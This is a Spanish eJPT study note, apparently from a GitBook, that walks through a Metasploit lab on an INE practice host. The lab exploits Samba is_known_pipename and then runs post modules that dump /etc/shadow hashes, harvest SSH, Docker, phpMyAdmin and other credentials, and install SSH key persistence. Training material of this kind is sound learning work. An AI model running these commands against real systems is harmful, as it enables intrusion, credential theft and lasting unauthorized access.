> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/metasploit-framework-msf/post-explotacion/postexplotacion-en-linux/volcado-de-hashes-con-hashdump.md).

# Volcado de hashes con Hashdump

### 🔐 ¿Dónde se almacenan los hashes en Linux?

En sistemas Linux, los **hashes de contraseñas** se almacenan en el archivo:

```
/etc/shadow
```

Este archivo contiene las contraseñas cifradas de los usuarios del sistema y **solo puede ser leído por el usuario `root`** o usuarios que hayan escalado privilegios hasta root.

***

### 🛠 Usando el módulo `hashdump` de Metasploit

Una vez que tenemos una sesión con privilegios elevados (por ejemplo, mediante `meterpreter` o una shell como root), podemos utilizar el módulo `post/linux/gather/hashdump` de Metasploit para extraer fácilmente los hashes.

#### 📌 Comandos básicos:

```bash
use post/linux/gather/hashdump
set SESSION <ID>
run
```

Este módulo accede al archivo `/etc/shadow` y extrae los hashes de las cuentas de usuario del sistema.

***

## 🧪 Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/lOXOlz9apH2oLnU62a99" alt=""><figcaption></figcaption></figure>

**Paso 2:** Verifique si la máquina de destino es accesible:

**Dominio:**

```
ping -c 4 demo.ine.local
```

<figure><img src="/files/BVYjfCQMVmKiJTUg5YyF" alt=""><figcaption></figcaption></figure>

El objetivo es alcanzable.

**Paso 3:** Escaneo de puertos con Nmap

Ahora podemos realizar un escaneo de puerto Nmap predeterminado en el destino para identificar los puertos abiertos en el sistema de destino, esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
nmap -sS -sV -p- demo.ine.local
```

<figure><img src="/files/lyiIg24MPfNoYQyIQIne" alt=""><figcaption></figcaption></figure>

**Paso 4:** La máquina de destino se puede explotar utilizando el módulo exploit/linux/samba/is\_known\_pipename.

**Dominio:**

```
msfconsole
use exploit/linux/samba/is_known_pipename
set RHOST demo.ine.local
check
exploit -z
```

<figure><img src="/files/2cyvnryHnKjAPiUut6KD" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/L8vaK84RbhXFzCvaLr4U" alt=""><figcaption></figcaption></figure>

**Módulo 1:** /post/multi/gather/ssh\_creds

**Enlace:** <https://www.rapid7.com/db/modules/post/multi/gather/ssh\\_creds>

**Dominio:**

```
use post/multi/gather/ssh_creds
set SESSION 1
run
```

<figure><img src="/files/C9lMcrDjmMk6AumeYmmJ" alt=""><figcaption></figcaption></figure>

**Módulo 2:** /post/multi/gather/docker\_creds

**Enlace:** <https://www.rapid7.com/db/modules/post/multi/gather/docker\\_creds>

**Dominio:**

```
use post/multi/gather/docker_creds
set SESSION 1
run
```

<figure><img src="/files/4WKc4z5Wv4zqDmIR80DC" alt=""><figcaption></figcaption></figure>

**Módulo 3:** post/linux/gather/hashdump

**Enlace:** <https://www.rapid7.com/db/modules/post/linux/gather/hashdump>

**Dominio:**

```
use post/linux/gather/hashdump
set SESSION 1
set VERBOSE true
run
```

<figure><img src="/files/kNOIkTE10dtsSvFh04uu" alt=""><figcaption></figcaption></figure>

**Módulo 4:** post/linux/gather/ecryptfs\_creds

**Enlace:** <https://www.rapid7.com/db/modules/post/linux/gather/ecryptfs\\_creds>

**Dominio:**

```
use post/linux/gather/ecryptfs_creds
set SESSION 1
run
```

<figure><img src="/files/mkhQsoN5teyGomxDiRTZ" alt=""><figcaption></figcaption></figure>

**Módulo 5:** post/linux/gather/enum\_psk

**Enlace:** <https://www.rapid7.com/db/modules/post/linux/gather/enum\\_psk>

**Dominio:**

```
use post/linux/gather/enum_psk
set SESSION 1
run
```

<figure><img src="/files/emQa4OJEiVcGWVbFzeKA" alt=""><figcaption></figcaption></figure>

**Módulo 6:** post/linux/gather/enum\_xchat

**Enlace:** <https://www.rapid7.com/db/modules/post/linux/gather/enum\\_xchat>

**Dominio:**

```
use post/linux/gather/enum_xchat
set SESSION 1
set XCHAT true
run
```

<figure><img src="/files/cgKEL4nAYq1K8Y2DiP7X" alt=""><figcaption></figcaption></figure>

**Módulo 7:** post/linux/gather/phpmyadmin\_credsteal

**Enlace:** <https://www.rapid7.com/db/modules/post/linux/gather/phpmyadmin\\_credsteal>

**Dominio:**

```
use post/linux/gather/phpmyadmin_credsteal
set SESSION 1
run
```

<figure><img src="/files/8ym0fWSC2YAE0P19n4H6" alt=""><figcaption></figcaption></figure>

**Módulo 8:** post/linux/gather/pptpd\_chap\_secrets

**Enlace:** <https://www.rapid7.com/db/modules/post/linux/gather/pptpd\\_chap\\_secrets>

**Dominio:**

```
use post/linux/gather/pptpd_chap_secrets
set SESSION 1
run
```

<figure><img src="/files/uDjQRYxhMGQb1qE8oRrm" alt=""><figcaption></figcaption></figure>

**Módulo 9:** post/linux/manage/sshkey\_persistence

**Enlace:** <https://www.rapid7.com/db/modules/post/linux/manage/sshkey\\_persistence>

**Dominio:**

```
use post/linux/manage/sshkey_persistence
set SESSION 1
run
```

<figure><img src="/files/uCaceYYwUaY4DoMy9Xur" alt=""><figcaption></figcaption></figure>

#### Referencias

* [Post explotación](https://metasploit.help.rapid7.com/docs/metasploit-basics#sectionpost-exploitation-module)
